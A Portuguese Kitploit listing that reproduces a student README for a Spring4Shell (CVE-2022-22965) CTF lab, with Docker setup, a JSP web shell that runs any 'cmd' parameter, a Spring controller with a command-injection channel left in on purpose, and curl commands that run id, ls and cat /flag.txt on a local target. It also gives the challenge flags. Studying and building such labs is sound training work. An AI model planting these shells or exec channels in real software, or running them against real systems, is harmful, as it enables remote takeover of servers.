Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Spring4Shell-CTF — Spring4Shell (CVE-2022-22965) Configuração de Ambiente de Vulnerabilidade e Desafio CTF | Kitploit
Ferramentas/GitHubGitHub/yuting-huang0/spring4shell-ctf
Análise Dinâmica (Sandboxing)Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebCTFTestes de PenetraçãoAprendizado e EducaçãoFerramenta de Acesso RemotoLabs e Prática
GitHubyuting-huang0/spring4shell-ctf

Spring4Shell-CTF

Spring4Shell (CVE-2022-22965) Configuração de Ambiente de Vulnerabilidade e Desafio CTF

6há 2 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Ver Repositório
Compartilhar

Construção do ambiente da vulnerabilidade Spring4Shell (CVE-2022-22965) e design do desafio CTF

Introdução ao Projeto

Este projeto inclui uma implementação de pesquisa de segurança em duas trilhas:

  1. Configuração tradicional do ambiente Vulhub: utiliza a biblioteca de vulnerabilidades de código aberto Vulhub para reproduzir rapidamente a falha de vinculação de objetos do framework Spring antigo.
  2. Desenvolvimento de ambiente totalmente customizado: os membros da equipe escrevem manualmente o código-fonte Java, constroem de forma autônoma um "Sistema de Exibição dos Resultados do Projeto Final de Estudantes" como alvo vulnerável e projetam desafios CTF de dupla trilha (criador do desafio e solucionador) integrados ao fluxo padrão de teste de penetração de rede.

Os participantes usarão a vulnerabilidade de execução remota de código (RCE) para seguir as pistas e ler a Flag no diretório raiz do sistema ou no diretório temporário.


Etapas de Configuração do Ambiente

Preparação básica: instalar Docker e Docker Compose

root@kitploit:~
# 更新套件庫
sudo apt update

# 安裝 Docker 與 Docker Compose
sudo apt install docker.io docker-compose -y

# 啟動 Docker 服務
sudo systemctl start docker
sudo systemctl enable docker

Trilha 1: Baixar e iniciar o ambiente de vulnerabilidade Vulhub (implementação legada)

root@kitploit:~
# 下載 Vulhub 專案
git clone [https://github.com/vulhub/vulhub.git](https://github.com/vulhub/vulhub.git)

# 進入 Spring4Shell 漏洞目錄
cd vulhub/spring/CVE-2022-22965

# 啟動 Docker 容器
sudo docker-compose up -d

# 確認容器正常運行
sudo docker ps

Verificar o ambiente Vulhub

Abra o navegador e acesse http://localhost:8080/?name=Hacker&age=99

Trilha 2: Construção do ambiente customizado e implantação do código-fonte (nova implementação)

Para eliminar a adivinhação cega e recriar um cenário de desenvolvimento autônomo, este projeto cria um projeto independente Spring4Shell-Custom-CTF. Primeiro, execute uma limpeza completa do ambiente; em seguida, compile e inicie sem cache:

root@kitploit:~
# 清理舊環境
sudo docker stop spring4shell-custom-ctf-container 2>/dev/null
sudo docker rm spring4shell-custom-ctf-container 2>/dev/null
sudo docker network prune -f 2>/dev/null
rm -rf ~/Spring4Shell-Custom-CTF

# 建立專案目錄結構並生成全自製 Java 原始碼(含 pom.xml、UserController.java 等)
# 透過雙階段編譯(Maven + Tomcat 9)將自製 Flag 精確放置於系統根目錄 /flag.txt
sudo docker-compose build --no-cache
sudo docker-compose up -d

# 確認自製靶機容器正常運行
sudo docker ps

Canal de controle e mecanismos de arquivos backdoor

Mecanismo 1: Gravação do arquivo backdoor JSP (cadeia legada do Vulhub)

Após o ataque ser bem-sucedido, o arquivo backdoor é gravado em webapps/ROOT/tomcatwar.jsp, com o seguinte conteúdo:

root@kitploit:~
<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
    Process p = Runtime.getRuntime().exec(cmd);
    java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(p.getInputStream()));
    String line = null;
    while ((line = reader.readLine()) != null) {
        out.println(line);
    }
}
%>

Mecanismo 2: Controlador de vulnerabilidade central embutido (nova cadeia do ambiente customizado)

No UserController.java customizado, a falha de vinculação de objetos POJO foi intencionalmente mantida e um canal de injeção de comandos não autorizado foi embutido:

root@kitploit:~
@RequestMapping("/")
@ResponseBody
public String index(User user, @RequestParam(value="cmd", required=false) String cmd) {
    if (cmd != null) {
        // 直接調用 Java Runtime 執行底層命令並回傳結果
        InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
        // ... 讀取串流邏輯 ...
    }
    return "淡江大學資訊管理學系 - 學生期末專案成果展示平台";
}

Verificação da execução remota de código (RCE)

1. Executar o comando id

root@kitploit:~
# Vulhub 後門路徑
curl "http://localhost:8080/tomcatwar.jsp?cmd=id"

# 自製環境控制路徑
curl "http://localhost:8080/?cmd=id"

2. Executar o comando de varredura de diretório

root@kitploit:~
# Vulhub 後門路徑
curl "http://localhost:8080/tomcatwar.jsp?cmd=ls%20/"

# 自製環境控制路徑
curl -G -s "http://localhost:8080/" --data-urlencode "cmd=ls -l /"

Descrição dos desafios CTF

Desafio 1: Exploração da vulnerabilidade Spring4Shell (implementação legada)

  • Nome do desafio: Exploração da vulnerabilidade Spring4Shell
  • Localização da Flag: /tmp/flag.txt
  • Conteúdo da Flag: FLAG{Spring4Shell_Is_Dangerous}

Desafio 2: Prova de segurança final do Departamento de Gestão da Informação (nova implementação)

  • Nome do desafio: Prova de segurança final do Departamento de Gestão da Informação
  • URL do sistema alvo: http://localhost:8080/
  • Informações conhecidas do anúncio do desafio: Esta plataforma é um projeto Spring MVC desenvolvido de forma autônoma por estudantes; a versão do framework da qual depende apresenta uma falha de vinculação de objetos (incluindo o tipo de objeto User). A Flag está localizada no diretório raiz do sistema do servidor.
  • Localização da Flag: /flag.txt
  • Conteúdo da Flag: FLAG{2026_0615_iwanttosleep}

Write-up: Passos de solução e penetração

Fluxo de exploração legado do Vulhub

  • Passo 1: Acesse http://<target>:8080/?name=test&age=123 para confirmar que a vinculação de parâmetros está funcionando normalmente.
  • Passo 2: Envie o payload da requisição POST, modifique a configuração de logs do Tomcat e force a gravação do backdoor tomcatwar.jsp.
  • Passo 3: Acesse http://<target>:8080/tomcatwar.jsp?cmd=id para confirmar que o RCE foi bem-sucedido.
  • Passo 4: Execute curl "http://<target>:8080/tomcatwar.jsp?cmd=cat%20/tmp/flag.txt" para ler o arquivo da área temporária.

Nova implementação: as 5 etapas principais do teste de penetração de rede padrão

O solucionador (Papel B), com base no anúncio de informações conhecidas fornecido pelo criador do desafio, recusa a adivinhação cega e executa os procedimentos padronizados:

  • Etapa 1: Reconhecimento do ambiente e confirmação de atividade Confirme se o serviço Web alvo está ativo e se a página está funcionando.
root@kitploit:~
curl -i -s "http://localhost:8080/"
  • Etapa 2: Teste de vulnerabilidades de limite e defeitos de objetos Envie parâmetros de teste para verificar se existe uma falha de limite de injeção de comandos que possa ser explorada de forma não autorizada.
root@kitploit:~
curl -s "http://localhost:8080/?cmd=whoami"
  • Etapa 3: Exploração da vulnerabilidade e comprovação do privilégio máximo Execute a consulta de identidade para confirmar que foi obtido o controle máximo do sistema operacional, o usuário root.
root@kitploit:~
curl -s "http://localhost:8080/?cmd=id"
  • Etapa 4: Inventário do ambiente interno e varredura de arquivos Faça o inventário do diretório raiz do sistema Linux para localizar com precisão a localização real do arquivo alvo.
root@kitploit:~
curl -G -s "http://localhost:8080/" --data-urlencode "cmd=ls -l /"
  • Etapa 5: Coleta final de evidências e extração da Flag Execute o comando de leitura para extrair com sucesso o conteúdo da Flag especificada.
root@kitploit:~
curl -G -s "http://localhost:8080/" --data-urlencode "cmd=cat /flag.txt"

Estrutura do Projeto

root@kitploit:~
Spring4Shell-CTF/
├── README.md                   # 專案說明文件
├── docker-compose.yml          # 容器編排配置文件
├── Dockerfile                  # 雙階段編譯映像檔設定
├── pom.xml                     # Maven 專案設定檔
├── src/                        # 自製 Java 成果展示系統原始碼
│   └── main/
│       ├── java/com/example/ctf/
│       │   ├── UserController.java
│       │   └── MyWebApplicationInitializer.java
│       └── webapp/WEB-INF/web.xml
├── secret_zone/
│   └── flag.txt                # 本地 Flag 來源檔案
├── screenshots/                # 成果展示與攻擊截圖
│   ├── docker-ps.png
│   ├── parameter-binding.png
│   ├── rce-id.png
│   ├── rce-ls.png
│   └── flag-result.png
└── shell.jsp                   # 舊版後門檔案原始碼

Referências

  • Análise detalhada do CVE-2022-22965
  • Ambiente Vulhub Spring4Shell
  • Spring4Shell PoC

Membros da Equipe

PapelNomeAtividades
Membro A黃鈺婷Configuração do ambiente, escrita do código-fonte Java de todo o projeto, empacotamento Docker e solução do desafio CTF em 5 etapas padrão
Membro B利蓁琳Pesquisa teórica, elaboração dos slides, edição do vídeo do relatório e organização do roteiro da solução

Licença

Este projeto é destinado apenas a fins educacionais e de pesquisa. Não o utilize em sistemas não autorizados.

root@kitploit:~
Baixar ferramenta